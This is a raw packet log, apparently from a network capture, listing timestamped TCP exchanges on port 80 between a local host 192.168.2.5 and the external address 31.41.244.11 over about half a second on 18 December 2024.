Dec 18, 2024 15:22:11.920469046 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.920521975 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.921724081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.921739101 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.921865940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.921865940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.922714949 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.922805071 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.922827005 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.923079967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.923701048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.923841000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.924173117 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.924173117 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.924806118 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.924870968 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.924957991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.924957991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.926001072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.926139116 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.926213026 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.926213026 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.927069902 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.927084923 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.927139044 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.927153111 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.927860975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.927931070 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.927947044 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.927989960 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.928824902 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.928874969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.929347992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.929347992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.929883957 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.930003881 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.930020094 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.930058956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.930978060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.931102037 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.931149006 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.931149960 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.932065010 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.932147980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.932212114 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.932212114 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.933136940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.933216095 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.933549881 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.933549881 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.934225082 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.934323072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.934374094 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.934374094 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.935302973 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.935391903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.935415030 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.935846090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.936388969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.936472893 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.936507940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.936523914 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.937495947 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.937577963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.937619925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.937619925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.938589096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.938715935 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.938931942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.938931942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.939707041 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.939946890 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.940327883 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.940327883 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.941009998 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.941062927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.941099882 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.941143036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.941814899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.941886902 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.941900969 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.942356110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.942959070 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.943022966 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.943058014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.943099976 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.943960905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.944013119 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.944067001 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.944709063 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.945053101 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.945211887 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.945254087 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.945254087 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.946146965 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.946196079 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.946250916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.946295023 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.947180033 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.947252989 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.947273016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.947340965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.948251963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.948324919 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.948375940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.948417902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.949369907 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.949453115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.949493885 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.949493885 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.950464964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.950551033 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.950594902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.950594902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.951508045 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.951574087 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.951620102 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.951668024 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.952588081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.952639103 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.952691078 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.953408003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.953660965 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.953747988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.953768015 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.953794003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.126398087 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.126425028 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.126440048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.126455069 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.126625061 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.126658916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.127146006 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.127161026 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.127332926 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.128197908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.128279924 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.128299952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.128355980 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.129141092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.129158974 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.129203081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.129268885 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.130220890 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.130333900 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.130382061 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.130469084 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.131261110 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.131341934 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.131378889 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.131463051 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.132126093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.132226944 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.132276058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.132276058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.133047104 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.133115053 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.133200884 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.133264065 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.134004116 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.134083033 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.134109020 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.134176016 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.134932041 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.135025978 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.135073900 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.135174036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.136148930 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.136209011 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.136255980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.136472940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.137378931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.137447119 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.137454033 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.137532949 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.138427019 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.138499975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.138549089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.138549089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.139421940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.139437914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.139487028 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.139513969 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.140413046 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.140536070 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.140552044 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.140662909 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.141575098 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.141644001 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.141681910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.141807079 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.142637968 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.142699957 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.142725945 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.142822027 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.143630028 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.143671036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.143687963 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.143754005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.144629955 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.144691944 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.144761086 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.144814014 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.145721912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.145797014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.145811081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.145930052 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.146946907 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.146962881 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.147111893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.147111893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.147874117 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.147932053 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.147945881 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.148004055 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.149071932 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.149126053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.149130106 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.149224043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.150468111 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.150602102 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.150747061 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.150814056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.152710915 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.152765036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.152808905 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.152808905 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.153749943 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.153835058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.153903961 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.153961897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.154967070 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.155040026 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.155055046 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.155107975 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.155847073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.155873060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.155909061 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.155920982 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.156758070 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.156843901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.156856060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.156996965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.157682896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.157771111 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.157795906 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.157870054 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.158406019 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.158464909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.158535004 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.158647060 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.159353971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.159442902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.159454107 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.159543991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.160331964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.160352945 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.160413027 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.161190987 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.161223888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.161256075 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.161276102 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.162142992 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.162244081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.162290096 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.162290096 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.163266897 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.163337946 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.163382053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.163434982 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.164185047 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.164247036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.164289951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.164319992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.165211916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.165271044 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.165280104 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.165414095 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.166229963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.166281939 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.166353941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.166479111 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.167292118 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.167360067 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.167392969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.167473078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.168355942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.168498039 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.168509960 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.168591976 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.169460058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.169512987 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.169528961 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.169598103 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.170583963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.170650005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.170663118 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.170855999 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.171631098 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.171686888 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.171691895 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.171736956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.172902107 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.172964096 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.172975063 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.173094034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.174086094 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.174232006 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.174243927 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.174289942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.175240993 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.175328970 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.175335884 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.175440073 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.176232100 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.176331997 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.176347017 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.176400900 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.177213907 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.177336931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.177356958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.177386045 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.178185940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.178297043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.178334951 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.178411007 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.179177046 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.179243088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.179280043 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.179342985 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.180354118 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.180463076 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.180509090 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.180577993 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.181756020 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.181917906 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.317776918 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.317863941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.318044901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.318558931 CET	80	49910	31.41.244.11	192.168.2.5
